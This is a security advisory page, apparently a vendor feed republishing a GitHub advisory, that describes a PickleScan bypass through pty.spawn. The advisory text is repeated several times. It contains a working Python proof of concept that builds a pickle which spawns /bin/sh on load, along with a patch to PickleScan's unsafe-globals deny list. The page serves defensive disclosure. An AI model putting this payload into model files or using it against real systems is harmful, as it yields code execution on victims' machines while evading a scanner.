### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```
### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```
Update picklescan to 0.0.33 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPicklescan Bypasses Unsafe Globals Check using pty.spawn affects picklescan (pip). Severity is high. ### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <0.0.33 | 0.0.33 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate picklescan to 0.0.33 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPicklescan Bypasses Unsafe Globals Check using pty.spawn affects picklescan (pip). Severity is high. ### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <0.0.33 | 0.0.33 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard